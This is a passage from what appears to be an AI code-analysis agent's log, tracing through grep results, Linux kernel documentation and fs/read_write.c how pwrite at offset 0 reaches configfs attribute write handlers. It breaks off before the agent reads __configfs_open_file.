Documentation/admin-guide/mm/shrinker_debugfs.rst:36: sb-configfs-23 sb-proc-41 sb-tmpfs-29 xfs-inodegc:vda1-38
Documentation/admin-guide/mm/shrinker_debugfs.rst-37- sb-dax-11 sb-proc-45 sb-tmpfs-35
--
Documentation/driver-api/ioctl.rst=235=problem. Alternatives include:
--
Documentation/driver-api/ioctl.rst-249-
Documentation/driver-api/ioctl.rst:250:* configfs can be used for more complex configuration than sysfs
Documentation/driver-api/ioctl.rst-251-
--
Documentation/driver-api/usb/dwc3.rst=58=These features have all been exercised with many of the **in-tree**
Documentation/driver-api/usb/dwc3.rst:59:gadget drivers. We have verified both *ConfigFS* [#configfs]_ and
Documentation/driver-api/usb/dwc3.rst-60-legacy gadget drivers.
--
Documentation/driver-api/usb/dwc3.rst=684=Structures, Methods and Definitions
--
Documentation/driver-api/usb/dwc3.rst-706-.. [#debugfs] The Debug File System
Documentation/driver-api/usb/dwc3.rst:707:.. [#configfs] The Config File System
Documentation/driver-api/usb/dwc3.rst-708-.. [#cbw] Command Block Wrapper
--
Documentation/filesystems/9p.rst=64=where <device> is the tag associated by the usb gadget transport.
Documentation/filesystems/9p.rst:65:It is defined by the configfs instance name.
Documentation/filesystems/9p.rst-66-
--
Documentation/filesystems/configfs.rst=9=Copyright (c) 2005 Oracle Corporation,
--
Documentation/filesystems/configfs.rst-12-
Documentation/filesystems/configfs.rst:13:What is configfs?
Documentation/filesystems/configfs.rst-14-=================
Documentation/filesystems/configfs.rst-15-
Documentation/filesystems/configfs.rst:16:configfs is a ram-based filesystem that provides the converse of
Documentation/filesystems/configfs.rst-17-sysfs's functionality. Where sysfs is a filesystem-based view of
Documentation/filesystems/configfs.rst:18:kernel objects, configfs is a filesystem-based manager of kernel
Documentation/filesystems/configfs.rst-19-objects, or config_items.
--
Documentation/filesystems/configfs.rst=27=representation, and sysfs is merely a window on all this.
Documentation/filesystems/configfs.rst-28-
Documentation/filesystems/configfs.rst:29:A configfs config_item is created via an explicit userspace operation:
Documentation/filesystems/configfs.rst-30-mkdir(2). It is destroyed via rmdir(2). The attributes appear at
--
Documentation/filesystems/configfs.rst=35=kernel modules backing the items must respond to this.
Documentation/filesystems/configfs.rst-36-
Documentation/filesystems/configfs.rst:37:Both sysfs and configfs can and should exist together on the same
Documentation/filesystems/configfs.rst-38-system. One is not a replacement for the other.
Documentation/filesystems/configfs.rst-39-
Documentation/filesystems/configfs.rst:40:Using configfs
Documentation/filesystems/configfs.rst-41-==============
Documentation/filesystems/configfs.rst-42-
Documentation/filesystems/configfs.rst:43:configfs can be compiled as a module or into the kernel. You can access
Documentation/filesystems/configfs.rst-44-it by doing::
Documentation/filesystems/configfs.rst-45-
Documentation/filesystems/configfs.rst:46: mount -t configfs none /config
Documentation/filesystems/configfs.rst-47-
Documentation/filesystems/configfs.rst:48:The configfs tree will be empty unless client modules are also loaded.
Documentation/filesystems/configfs.rst:49:These are modules that register their item types with configfs as
Documentation/filesystems/configfs.rst-50-subsystems. Once a client subsystem is loaded, it will appear as a
Documentation/filesystems/configfs.rst=51=subdirectory (or more than one) under /config. Like sysfs, the
Documentation/filesystems/configfs.rst:52:configfs tree is always there, whether mounted on /config or not.
Documentation/filesystems/configfs.rst-53-
--
Documentation/filesystems/configfs.rst=57=values. Don't mix more than one attribute in one attribute file.
Documentation/filesystems/configfs.rst-58-
Documentation/filesystems/configfs.rst:59:There are two types of configfs attributes:
Documentation/filesystems/configfs.rst-60-
--
Documentation/filesystems/configfs.rst-64- Configfs expects write(2) to store the entire buffer at once. When writing to
Documentation/filesystems/configfs.rst:65: normal configfs attributes, userspace processes should first read the entire
Documentation/filesystems/configfs.rst-66- file, modify the portions they wish to change, and then write the entire
--
Documentation/filesystems/configfs.rst=86=Imagine there's a Network Block Device (NBD) driver that allows you to
Documentation/filesystems/configfs.rst:87:access remote block devices. Call it FakeNBD. FakeNBD uses configfs
Documentation/filesystems/configfs.rst-88-for its configuration. Obviously, there will be a nice program that
Documentation/filesystems/configfs.rst=89=sysadmins use to configure FakeNBD, but somehow that program has to tell
Documentation/filesystems/configfs.rst:90:the driver about it. Here's where configfs comes in.
Documentation/filesystems/configfs.rst-91-
Documentation/filesystems/configfs.rst:92:When the FakeNBD driver is loaded, it registers itself with configfs.
Documentation/filesystems/configfs.rst-93-readdir(3) sees this just fine::
--
Documentation/filesystems/configfs.rst=116=shell no less.
Documentation/filesystems/configfs.rst-117-
Documentation/filesystems/configfs.rst:118:Coding With configfs
Documentation/filesystems/configfs.rst-119-====================
Documentation/filesystems/configfs.rst-120-
Documentation/filesystems/configfs.rst:121:Every object in configfs is a config_item. A config_item reflects an
Documentation/filesystems/configfs.rst-122-object in the subsystem. It has attributes that match values on that
Documentation/filesystems/configfs.rst:123:object. configfs handles the filesystem representation of that object
Documentation/filesystems/configfs.rst-124-and its attributes, allowing the subsystem to ignore all but the
--
Documentation/filesystems/configfs.rst=128=collection of items that share the same attributes and operations.
Documentation/filesystems/configfs.rst:129:Items are created by mkdir(2) and removed by rmdir(2), but configfs
Documentation/filesystems/configfs.rst-130-handles that. The group has a set of operations to perform these tasks
--
Documentation/filesystems/configfs.rst=132=A subsystem is the top level of a client module. During initialization,
Documentation/filesystems/configfs.rst:133:the client module registers the subsystem with configfs, the subsystem
Documentation/filesystems/configfs.rst:134:appears as a directory at the top of the configfs filesystem. A
Documentation/filesystems/configfs.rst-135-subsystem is also a config_group, and can do everything a config_group
--
Documentation/filesystems/configfs.rst=163=config_item portion of that structure is how the object interacts with
Documentation/filesystems/configfs.rst:164:configfs.
Documentation/filesystems/configfs.rst-165-
--
Documentation/filesystems/configfs.rst=173=config_item_put().
Documentation/filesystems/configfs.rst-174-
Documentation/filesystems/configfs.rst:175:By itself, a config_item cannot do much more than appear in configfs.
Documentation/filesystems/configfs.rst-176-Usually a subsystem wants the item to display and/or store attributes,
--
Documentation/filesystems/configfs.rst=179=struct config_item_type
--
Documentation/filesystems/configfs.rst-183-
Documentation/filesystems/configfs.rst:184: struct configfs_item_operations {
Documentation/filesystems/configfs.rst-185- void (*release)(struct config_item *);
--
Documentation/filesystems/configfs.rst-193- struct module *ct_owner;
Documentation/filesystems/configfs.rst:194: struct configfs_item_operations *ct_item_ops;
Documentation/filesystems/configfs.rst:195: struct configfs_group_operations *ct_group_ops;
Documentation/filesystems/configfs.rst:196: struct configfs_attribute **ct_attrs;
Documentation/filesystems/configfs.rst:197: struct configfs_bin_attribute **ct_bin_attrs;
Documentation/filesystems/configfs.rst-198- };
--
Documentation/filesystems/configfs.rst=204=reaches zero.
Documentation/filesystems/configfs.rst-205-
Documentation/filesystems/configfs.rst:206:struct configfs_attribute
Documentation/filesystems/configfs.rst-207-=========================
--
Documentation/filesystems/configfs.rst-210-
Documentation/filesystems/configfs.rst:211: struct configfs_attribute {
Documentation/filesystems/configfs.rst-212- char *ca_name;
--
Documentation/filesystems/configfs.rst=219=When a config_item wants an attribute to appear as a file in the item's
Documentation/filesystems/configfs.rst:220:configfs directory, it must define a configfs_attribute describing it.
Documentation/filesystems/configfs.rst-221-It then adds the attribute to the NULL-terminated array
Documentation/filesystems/configfs.rst:222:config_item_type->ct_attrs. When the item appears in configfs, the
Documentation/filesystems/configfs.rst:223:attribute file will appear with the configfs_attribute->ca_name
Documentation/filesystems/configfs.rst:224:filename. configfs_attribute->ca_mode specifies the file permissions.
Documentation/filesystems/configfs.rst-225-
--
Documentation/filesystems/configfs.rst=229=called whenever userspace asks for a write(2) on the attribute.
Documentation/filesystems/configfs.rst-230-
Documentation/filesystems/configfs.rst:231:struct configfs_bin_attribute
Documentation/filesystems/configfs.rst-232-=============================
--
Documentation/filesystems/configfs.rst-235-
Documentation/filesystems/configfs.rst:236: struct configfs_bin_attribute {
Documentation/filesystems/configfs.rst:237: struct configfs_attribute cb_attr;
Documentation/filesystems/configfs.rst-238- void *cb_private;
--
Documentation/filesystems/configfs.rst=242=The binary attribute is used when the one needs to use binary blob to
Documentation/filesystems/configfs.rst:243:appear as the contents of a file in the item's configfs directory.
Documentation/filesystems/configfs.rst-244-To do so add the binary attribute to the NULL-terminated array
Documentation/filesystems/configfs.rst:245:config_item_type->ct_bin_attrs, and the item appears in configfs, the
Documentation/filesystems/configfs.rst:246:attribute file will appear with the configfs_bin_attribute->cb_attr.ca_name
Documentation/filesystems/configfs.rst:247:filename. configfs_bin_attribute->cb_attr.ca_mode specifies the file
Documentation/filesystems/configfs.rst-248-permissions.
--
Documentation/filesystems/configfs.rst=265=child item::
--
Documentation/filesystems/configfs.rst-269- struct list_head cg_children;
Documentation/filesystems/configfs.rst:270: struct configfs_subsystem *cg_subsys;
Documentation/filesystems/configfs.rst-271- struct list_head default_groups;
--
Documentation/filesystems/configfs.rst=285=config_item_type::
Documentation/filesystems/configfs.rst-286-
Documentation/filesystems/configfs.rst:287: struct configfs_group_operations {
Documentation/filesystems/configfs.rst-288- struct config_item *(*make_item)(struct config_group *group,
--
Documentation/filesystems/configfs.rst=301=config_item (or more likely, its container structure), initializes it,
Documentation/filesystems/configfs.rst:302:and returns it to configfs. Configfs will then populate the filesystem
Documentation/filesystems/configfs.rst-303-tree to reflect the new item.
--
Documentation/filesystems/configfs.rst=313=upon item allocation. If a subsystem has no work to do, it may omit
Documentation/filesystems/configfs.rst:314:the ct_group_ops->drop_item() method, and configfs will call
Documentation/filesystems/configfs.rst-315-config_item_put() on the item on behalf of the subsystem.
--
Documentation/filesystems/configfs.rst=317=Important:
Documentation/filesystems/configfs.rst-318- drop_item() is void, and as such cannot fail. When rmdir(2)
Documentation/filesystems/configfs.rst:319: is called, configfs WILL remove the item from the filesystem tree
Documentation/filesystems/configfs.rst-320- (assuming that it has no children to keep it busy). The subsystem is
--
Documentation/filesystems/configfs.rst-323- for the item to actually disappear from the subsystem's usage. But it
Documentation/filesystems/configfs.rst:324: is gone from configfs.
Documentation/filesystems/configfs.rst-325-
--
Documentation/filesystems/configfs.rst=330=ct_group_ops->disconnect_notify() method. The method is called after
Documentation/filesystems/configfs.rst:331:configfs has removed the item from the filesystem view but before the
Documentation/filesystems/configfs.rst-332-item is removed from its parent group. Like drop_item(),
--
Documentation/filesystems/configfs.rst=336=A config_group cannot be removed while it still has child items. This
Documentation/filesystems/configfs.rst:337:is implemented in the configfs rmdir(2) code. ->drop_item() will not be
Documentation/filesystems/configfs.rst-338-called, as the item has not been dropped. rmdir(2) will fail, as the
Documentation/filesystems/configfs.rst=339=directory is not empty.
Documentation/filesystems/configfs.rst-340-
Documentation/filesystems/configfs.rst:341:struct configfs_subsystem
Documentation/filesystems/configfs.rst-342-=========================
--
Documentation/filesystems/configfs.rst=344=A subsystem must register itself, usually at module_init time. This
Documentation/filesystems/configfs.rst:345:tells configfs to make the subsystem appear in the file tree::
Documentation/filesystems/configfs.rst-346-
Documentation/filesystems/configfs.rst:347: struct configfs_subsystem {
Documentation/filesystems/configfs.rst-348- struct config_group su_group;
--
Documentation/filesystems/configfs.rst-351-
Documentation/filesystems/configfs.rst:352: int configfs_register_subsystem(struct configfs_subsystem *subsys);
Documentation/filesystems/configfs.rst:353: void configfs_unregister_subsystem(struct configfs_subsystem *subsys);
Documentation/filesystems/configfs.rst-354-
--
Documentation/filesystems/configfs.rst=357=this group is usually defined statically. Before calling
Documentation/filesystems/configfs.rst:358:configfs_register_subsystem(), the subsystem must have initialized the
Documentation/filesystems/configfs.rst-359-group via the usual group _init() functions, and it must also have
--
Documentation/filesystems/configfs.rst=362=When the register call returns, the subsystem is live, and it
Documentation/filesystems/configfs.rst:363:will be visible via configfs. At that point, mkdir(2) can be called and
Documentation/filesystems/configfs.rst-364-the subsystem must be ready for it.
--
Documentation/filesystems/configfs.rst=370=subsystem/group and the simple_child item in
Documentation/filesystems/configfs.rst:371:samples/configfs/configfs_sample.c. It shows a trivial object displaying
Documentation/filesystems/configfs.rst-372-and storing an attribute, and a simple group creating and destroying
--
Documentation/filesystems/configfs.rst=375=Hierarchy Navigation and the Subsystem Mutex
--
Documentation/filesystems/configfs.rst-377-
Documentation/filesystems/configfs.rst:378:There is an extra bonus that configfs provides. The config_groups and
Documentation/filesystems/configfs.rst-379-config_items are arranged in a hierarchy due to the fact that they
--
Documentation/filesystems/configfs.rst=385=A subsystem can navigate the cg_children list and the ci_parent pointer
Documentation/filesystems/configfs.rst:386:to see the tree created by the subsystem. This can race with configfs'
Documentation/filesystems/configfs.rst:387:management of the hierarchy, so configfs uses the subsystem mutex to
Documentation/filesystems/configfs.rst-388-protect modifications. Whenever a subsystem wants to navigate the
--
Documentation/filesystems/configfs.rst=395=yet been unlinked. This means that an item's ci_parent pointer will
Documentation/filesystems/configfs.rst:396:never be NULL while the item is in configfs, and that an item will only
Documentation/filesystems/configfs.rst-397-be in its parent's cg_children list for the same duration. This allows
--
Documentation/filesystems/configfs.rst=401=Item Aggregation Via symlink(2)
--
Documentation/filesystems/configfs.rst-403-
Documentation/filesystems/configfs.rst:404:configfs provides a simple group via the group->item parent/child
Documentation/filesystems/configfs.rst-405-relationship. Often, however, a larger environment requires aggregation
--
Documentation/filesystems/configfs.rst=411=symlink(2) may be called with the config_item as the source of the link.
Documentation/filesystems/configfs.rst:412:These links are only allowed between configfs config_items. Any
Documentation/filesystems/configfs.rst:413:symlink(2) attempt outside the configfs filesystem will be denied.
Documentation/filesystems/configfs.rst-414-
--
Documentation/filesystems/configfs.rst=427=can it be removed while an item links to it. Dangling symlinks are not
Documentation/filesystems/configfs.rst:428:allowed in configfs.
Documentation/filesystems/configfs.rst-429-
--
Documentation/filesystems/configfs.rst=437=Rather than have a group where some items behave differently than
Documentation/filesystems/configfs.rst:438:others, configfs provides a method whereby one or many subgroups are
Documentation/filesystems/configfs.rst-439-automatically created inside the parent at its creation. Thus,
--
Documentation/filesystems/configfs.rst=447=other child groups can be created on the parent group directly.
Documentation/filesystems/configfs.rst-448-
Documentation/filesystems/configfs.rst:449:A configfs subsystem specifies default groups by adding them using the
Documentation/filesystems/configfs.rst:450:configfs_add_default_group() function to the parent config_group
Documentation/filesystems/configfs.rst:451:structure. Each added group is populated in the configfs tree at the same
Documentation/filesystems/configfs.rst-452-time as the parent group. Similarly, they are removed at the same time
--
Documentation/filesystems/configfs.rst=461=Dependent Subsystems
--
Documentation/filesystems/configfs.rst-463-
Documentation/filesystems/configfs.rst:464:Sometimes other drivers depend on particular configfs items. For
Documentation/filesystems/configfs.rst-465-example, ocfs2 mounts depend on a heartbeat region item. If that
--
Documentation/filesystems/configfs.rst=467=readonly. Not happy.
Documentation/filesystems/configfs.rst-468-
Documentation/filesystems/configfs.rst:469:configfs provides two additional API calls: configfs_depend_item() and
Documentation/filesystems/configfs.rst:470:configfs_undepend_item(). A client driver can call
Documentation/filesystems/configfs.rst:471:configfs_depend_item() on an existing item to tell configfs that it is
Documentation/filesystems/configfs.rst:472:depended on. configfs will then return -EBUSY from rmdir(2) for that
Documentation/filesystems/configfs.rst-473-item. When the item is no longer depended on, the client driver calls
Documentation/filesystems/configfs.rst:474:configfs_undepend_item() on it.
Documentation/filesystems/configfs.rst-475-
Documentation/filesystems/configfs.rst:476:These API cannot be called underneath any configfs callbacks, as
Documentation/filesystems/configfs.rst-477-they will conflict. They can block and allocate. A client driver
--
Documentation/filesystems/configfs.rst=483=heartbeat code. Inside the heartbeat code, the region item is looked
Documentation/filesystems/configfs.rst:484:up. Here, the heartbeat code calls configfs_depend_item(). If it
Documentation/filesystems/configfs.rst-485-succeeds, then heartbeat knows the region is safe to give to ocfs2.
--
Documentation/filesystems/index.rst=66=Documentation for filesystem implementations.
--
Documentation/filesystems/index.rst-81- coda
]
|
| 120/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 19931
output: 36
thoughts: 30
Thoughts: **My Thought Process Regarding `configfs` Attributes**
Alright, so my immediate impulse is to dive into the `configfs.rst` documentation, specifically focusing on lines 50 through 85. I need to understand precisely how `configfs` handles attributes. My goal here is to get a clear, foundational grasp of the mechanisms involved in defining, exposing, and potentially interacting with these attributes within the `configfs` framework. I'm not just looking for a superficial overview; I need to understand the underlying principles and the practical implications for system developers. This section is crucial because attributes are, after all, the primary interface through which userspace interacts with objects managed by `configfs`. I'll be paying close attention to any explicit mentions of attribute types, how they're registered, and any associated callback functions that govern their behavior. This will inform my understanding of how to effectively leverage `configfs` for device configuration or other similar purposes.
|
| 121/7 |
2026/09/04 20:48 |
tool |
read-file |
0m
Args: map[File:Documentation/filesystems/configfs.rst FirstLine:50 LineCount:40]
Results: map[Contents: 50: subsystems. Once a client subsystem is loaded, it will appear as a
51: subdirectory (or more than one) under /config. Like sysfs, the
52: configfs tree is always there, whether mounted on /config or not.
53:
54: An item is created via mkdir(2). The item's attributes will also
55: appear at this time. readdir(3) can determine what the attributes are,
56: read(2) can query their default values, and write(2) can store new
57: values. Don't mix more than one attribute in one attribute file.
58:
59: There are two types of configfs attributes:
60:
61: * Normal attributes, which similar to sysfs attributes, are small ASCII text
62: files, with a maximum size of one page (PAGE_SIZE, 4096 on i386). Preferably
63: only one value per file should be used, and the same caveats from sysfs apply.
64: Configfs expects write(2) to store the entire buffer at once. When writing to
65: normal configfs attributes, userspace processes should first read the entire
66: file, modify the portions they wish to change, and then write the entire
67: buffer back.
68:
69: * Binary attributes, which are somewhat similar to sysfs binary attributes,
70: but with a few slight changes to semantics. The PAGE_SIZE limitation does not
71: apply, but the whole binary item must fit in single kernel vmalloc'ed buffer.
72: The write(2) calls from user space are buffered, and the attributes'
73: write_bin_attribute method will be invoked on the final close, therefore it is
74: imperative for user-space to check the return code of close(2) in order to
75: verify that the operation finished successfully.
76: To avoid a malicious user OOMing the kernel, there's a per-binary attribute
77: maximum buffer value.
78:
79: When an item needs to be destroyed, remove it with rmdir(2). An
80: item cannot be destroyed if any other item has a link to it (via
81: symlink(2)). Links can be removed via unlink(2).
82:
83: Configuring FakeNBD: an Example
84: ===============================
85:
86: Imagine there's a Network Block Device (NBD) driver that allows you to
87: access remote block devices. Call it FakeNBD. FakeNBD uses configfs
88: for its configuration. Obviously, there will be a nice program that
89: sysadmins use to configure FakeNBD, but somehow that program has to tell
]
|
| 122/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 20740
output: 28
thoughts: 784
Thoughts: **My Thoughts on `pwrite` in a Configfs Loop**
Here I am, diving into the intricate details of how `pwrite(fd, buf, len, 0)` behaves when called repeatedly in a tight loop against a configfs attribute file. My immediate instinct is to dissect the path this operation takes through the kernel's Virtual File System (VFS) layer, all the way down to the configfs implementation.
I'm starting by tracing `pwrite` (specifically `pwrite64` as that's likely what `pwrite` resolves to) through `vfs_write` and its related iterator functions, like `vfs_iter_write`. My goal is to reach the configfs-specific handler, which would be `configfs_write_iter` for regular attributes and `configfs_bin_write_iter` for binary ones.
First, let's focus on the "regular" attribute scenario, handled by `configfs_file_operations`. I'm looking at the source code for `configfs_write_iter`. I see it takes a `struct kiocb` and a `struct iov_iter`. Inside, it retrieves a `configfs_buffer` from `file->private_data`. There's a mutex lock, then `fill_write_buffer` is called to copy data from the user-provided buffer (`from`) into the kernel's buffer (`buffer->page`). Crucially, this `fill_write_buffer` function copies data up to `SIMPLE_ATTR_SIZE - 1` and null-terminates it. It then returns the number of bytes copied.
Following that, `flush_write_buffer` is invoked if `fill_write_buffer` returned a positive length. This `flush_write_buffer` function appears to be the heart of the attribute update logic. It obtains a `configfs_fragment`, acquires a read lock on its semaphore, and then calls the actual attribute's `store` function. This `store` function is where the user-defined logic for handling the attribute write resides. It receives the `buffer->item`, the kernel buffer (`buffer->page`), and the `count` (length). After the `store` operation, the read lock is released.
Now, a crucial question pops into my mind: does the `iocb->ki_pos` value actually *matter* in this configfs write path? I see `iocb->ki_pos` is updated in `configfs_write_iter` (`iocb->ki_pos += len;`). However, I'm scrutinizing `fill_write_buffer` and `flush_write_buffer` very carefully. Do *they* make any use of `iocb->ki_pos` or the `offset` parameter that `pwrite` would have originally provided? Based on the code snippet, it seems they do not. The offset of 0 in my `pwrite` call is likely irrelevant here because `configfs_write_iter` doesn't seem to use it to determine where to write within the buffer, nor does the `store` operation itself appear to be offset-aware through this mechanism.
This leads me back to the fundamental behavior of `pwrite(fd, buf, len, 0)`. I need to trace precisely what VFS parameters are passed down. I'll be digging into `ksys_pwrite64`, `vfs_write`, and `vfs_iter_write` in `fs/read_write.c` to confirm how that initial `offset` of `0` is handled (or ignored) as the call propagates through the VFS stack and eventually lands in the configfs handler. My hypothesis is that the offset is effectively dropped or superseded by configfs's own buffer management.
|
| 123/7 |
2026/09/04 20:48 |
tool |
grepper |
0m
Args: map[Expression:ksys_pwrite64 PathPrefix:fs]
Results: map[Output:fs/read_write.c=776=COMPAT_SYSCALL_DEFINE5(pread64, unsigned int, fd, char __user *, buf,
--
fs/read_write.c-782-
fs/read_write.c:783:ssize_t ksys_pwrite64(unsigned int fd, const char __user *buf,
fs/read_write.c-784- size_t count, loff_t pos)
--
fs/read_write.c=799=SYSCALL_DEFINE4(pwrite64, unsigned int, fd, const char __user *, buf,
--
fs/read_write.c-801-{
fs/read_write.c:802: return ksys_pwrite64(fd, buf, count, pos);
fs/read_write.c-803-}
--
fs/read_write.c=806=COMPAT_SYSCALL_DEFINE5(pwrite64, unsigned int, fd, const char __user *, buf,
--
fs/read_write.c-808-{
fs/read_write.c:809: return ksys_pwrite64(fd, buf, count, compat_arg_u64_glue(pos));
fs/read_write.c-810-}
]
|
| 124/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 21872
output: 35
thoughts: 23
Thoughts: **My Thought Process on `ksys_pwrite64` in `fs/read_write.c`**
Alright, the immediate thought is to dive into `fs/read_write.c` and locate the `ksys_pwrite64` function. My goal here is to understand its role within the kernel's file I/O subsystem. As an expert, I'm not just looking for a surface-level description; I want to grasp the nuances of how it handles positioned writes, especially in relation to the underlying filesystem and VFS (Virtual File System) layer.
I anticipate that `ksys_pwrite64` will be the kernel's entry point for the `pwrite64` system call. This means it's responsible for writing data to a file at a specific offset, crucially *without* modifying the current file offset. This distinction is paramount for concurrent I/O operations and for scenarios where precise control over file positioning is required.
My investigation will likely involve tracing the execution flow:
* **System Call Entry:** How does `ksys_pwrite64` get invoked? I'll be looking for the system call table entry and the assembly glue that transitions from user space to kernel space.
* **Argument Validation:** What sanity checks are performed on the arguments passed from user space? This would include validating file descriptors, buffer pointers, lengths, and the offset. I'm particularly interested in any checks related to offset overflow or invalid values.
* **File Descriptor Resolution:** The function will need to resolve the provided file descriptor to an actual `struct file` object. This involves traversing the per-process file descriptor table and ensuring the file is indeed opened for writing.
* **VFS Layer Interaction:** This is where the core logic for file operations will reside. I expect `ksys_pwrite64` to delegate the actual writing to the VFS layer, which in turn will call the appropriate filesystem-specific `write_iter` (or similar) function. The key here is understanding how the `struct file_operations` are accessed and invoked.
* **`struct iov_iter` Handling:** Modern kernel I/O heavily relies on `struct iov_iter` to manage scatter-gather buffers. I'll be examining how user-space buffers are copied or mapped into kernel-space iterators for efficient data transfer. This often involves `copy_from_user` or similar mechanisms.
* **Offset Management:** While `pwrite64` doesn't update the file offset, the underlying filesystem operation *will* need to know the target offset. I'll be looking at how this offset is passed down the VFS stack and utilized by the filesystem driver.
* **Return Value and Error Handling:** What are the possible outcomes? Success will be indicated by the number of bytes written. Errors will need to be carefully handled, with appropriate `errno` values being propagated back to user space. This includes checks for insufficient permissions, disk full conditions, I/O errors, and invalid arguments.
* **Concurrency Considerations:** Given the nature of positioned I/O, I'll be mindful of potential race conditions. While `pwrite64` itself is designed to be atomic with respect to the offset, I'll be considering how locking mechanisms within the VFS and filesystem drivers protect the data structures and the file itself during the write operation. This might involve mutexes, semaphores, or finer-grained locking.
* **Interaction with Caching and Page Cache:** How does `ksys_pwrite64` interact with the page cache? Does it bypass it, write directly to the device, or involve page cache updates? This is a crucial aspect for performance tuning and understanding data consistency.
In essence, I'm looking to build a mental model of `ksys_pwrite64` as a robust and efficient bridge between user-space requests for positioned writes and the kernel's complex file I/O machinery, with a keen eye on its interaction with the VFS and the specific filesystem implementation.
|
| 125/7 |
2026/09/04 20:48 |
tool |
read-file |
0m
Args: map[File:fs/read_write.c FirstLine:780 LineCount:35]
Results: map[Contents: 780: }
781: #endif
782:
783: ssize_t ksys_pwrite64(unsigned int fd, const char __user *buf,
784: size_t count, loff_t pos)
785: {
786: if (pos < 0)
787: return -EINVAL;
788:
789: CLASS(fd, f)(fd);
790: if (fd_empty(f))
791: return -EBADF;
792:
793: if (fd_file(f)->f_mode & FMODE_PWRITE)
794: return vfs_write(fd_file(f), buf, count, &pos);
795:
796: return -ESPIPE;
797: }
798:
799: SYSCALL_DEFINE4(pwrite64, unsigned int, fd, const char __user *, buf,
800: size_t, count, loff_t, pos)
801: {
802: return ksys_pwrite64(fd, buf, count, pos);
803: }
804:
805: #if defined(CONFIG_COMPAT) && defined(__ARCH_WANT_COMPAT_PWRITE64)
806: COMPAT_SYSCALL_DEFINE5(pwrite64, unsigned int, fd, const char __user *, buf,
807: size_t, count, compat_arg_u64_dual(pos))
808: {
809: return ksys_pwrite64(fd, buf, count, compat_arg_u64_glue(pos));
810: }
811: #endif
812:
813: static ssize_t do_iter_readv_writev(struct file *filp, struct iov_iter *iter,
814: loff_t *ppos, int type, rwf_t flags)
]
|
| 126/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 22490
output: 26
thoughts: 72
Thoughts: **My Thought Process Regarding `FMODE_PWRITE`**
Hold on a second! As I was diving into the `ksys_pwrite64` function, my attention was immediately drawn to this specific line: `if (fd_file(f)->f_mode & FMODE_PWRITE)`. This immediately sparked a question in my mind: where is this `FMODE_PWRITE` flag actually being set or cleared throughout the kernel? It's crucial for me to understand its lifecycle and how it influences file operations. My next step, therefore, is to conduct a comprehensive search across the entire kernel codebase for all instances of `FMODE_PWRITE` and its counterpart, `FMODE_PREAD`. This will allow me to map out its usage, identify the contexts in which it's enabled or disabled, and ultimately gain a solid understanding of its role in the file system I/O subsystem.
|
| 127/7 |
2026/09/04 20:48 |
tool |
grepper |
0m
Args: map[Expression:FMODE_PWRITE PathPrefix:fs]
Results: map[Output:fs/cachefiles/ondemand.c=293=static int cachefiles_ondemand_get_fd(struct cachefiles_req *req,
--
fs/cachefiles/ondemand.c-319- &cachefiles_ondemand_fd_fops, object,
fs/cachefiles/ondemand.c:320: O_WRONLY, FMODE_PWRITE | FMODE_LSEEK);
fs/cachefiles/ondemand.c-321- if (IS_ERR(anon_file->file)) {
--
fs/kernfs/file.c=603=static int kernfs_fop_open(struct inode *inode, struct file *file)
--
fs/kernfs/file.c-707- if (file->f_mode & FMODE_WRITE)
fs/kernfs/file.c:708: file->f_mode |= FMODE_PWRITE;
fs/kernfs/file.c-709-
--
fs/open.c=885=static int do_dentry_open(struct file *f,
--
fs/open.c-942- /* normally all 3 are set; ->open() can clear them if needed */
fs/open.c:943: f->f_mode |= FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE;
fs/open.c-944- if (!open)
--
fs/open.c=1560=int nonseekable_open(struct inode *inode, struct file *filp)
fs/open.c-1561-{
fs/open.c:1562: filp->f_mode &= ~(FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE);
fs/open.c-1563- return 0;
--
fs/open.c=1578=int stream_open(struct inode *inode, struct file *filp)
fs/open.c-1579-{
fs/open.c:1580: filp->f_mode &= ~(FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE | FMODE_ATOMIC_POS);
fs/open.c-1581- filp->f_mode |= FMODE_STREAM;
--
fs/read_write.c=783=ssize_t ksys_pwrite64(unsigned int fd, const char __user *buf,
--
fs/read_write.c-792-
fs/read_write.c:793: if (fd_file(f)->f_mode & FMODE_PWRITE)
fs/read_write.c-794- return vfs_write(fd_file(f), buf, count, &pos);
--
fs/read_write.c=1142=static ssize_t do_pwritev(unsigned long fd, const struct iovec __user *vec,
--
fs/read_write.c-1152- ret = -ESPIPE;
fs/read_write.c:1153: if (fd_file(f)->f_mode & FMODE_PWRITE)
fs/read_write.c-1154- ret = vfs_writev(fd_file(f), vec, vlen, &pos, flags);
--
fs/resctrl/pseudo_lock.c=949=static int pseudo_lock_dev_open(struct inode *inode, struct file *filp)
--
fs/resctrl/pseudo_lock.c-963- /* Perform a non-seekable open - llseek is not supported */
fs/resctrl/pseudo_lock.c:964: filp->f_mode &= ~(FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE);
fs/resctrl/pseudo_lock.c-965-
--
fs/seq_file.c=58=int seq_open(struct file *file, const struct seq_operations *op)
--
fs/seq_file.c-78- * seq_files support lseek() and pread(). They do not implement
fs/seq_file.c:79: * write() at all, but we clear FMODE_PWRITE here for historical
fs/seq_file.c-80- * reasons.
--
fs/seq_file.c-83- * support pwrite() then that client will need to implement its own
fs/seq_file.c:84: * file.open() which calls seq_open() and then sets FMODE_PWRITE.
fs/seq_file.c-85- */
fs/seq_file.c:86: file->f_mode &= ~FMODE_PWRITE;
fs/seq_file.c-87- return 0;
--
fs/splice.c=1300=ssize_t do_splice(struct file *in, loff_t *off_in, struct file *out,
--
fs/splice.c-1330- if (off_out) {
fs/splice.c:1331: if (!(out->f_mode & FMODE_PWRITE))
fs/splice.c-1332- return -EINVAL;
]
|
| 128/7 |
2026/09/04 20:48 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 23870
output: 37
thoughts: 41
Thoughts: **My Thought Process on Configfs Open and Write Operations**
Alright, so my immediate goal here is to understand the mechanics of what transpires when a file within the configfs filesystem is opened and subsequently written to. To gain a comprehensive grasp, I've decided to meticulously examine the `__configfs_open_file` function, which I've located in `fs/configfs/file.c`. I'm going to read this function from beginning to end, paying close attention to every detail to build a complete mental model of the process.
|
| 129/7 |
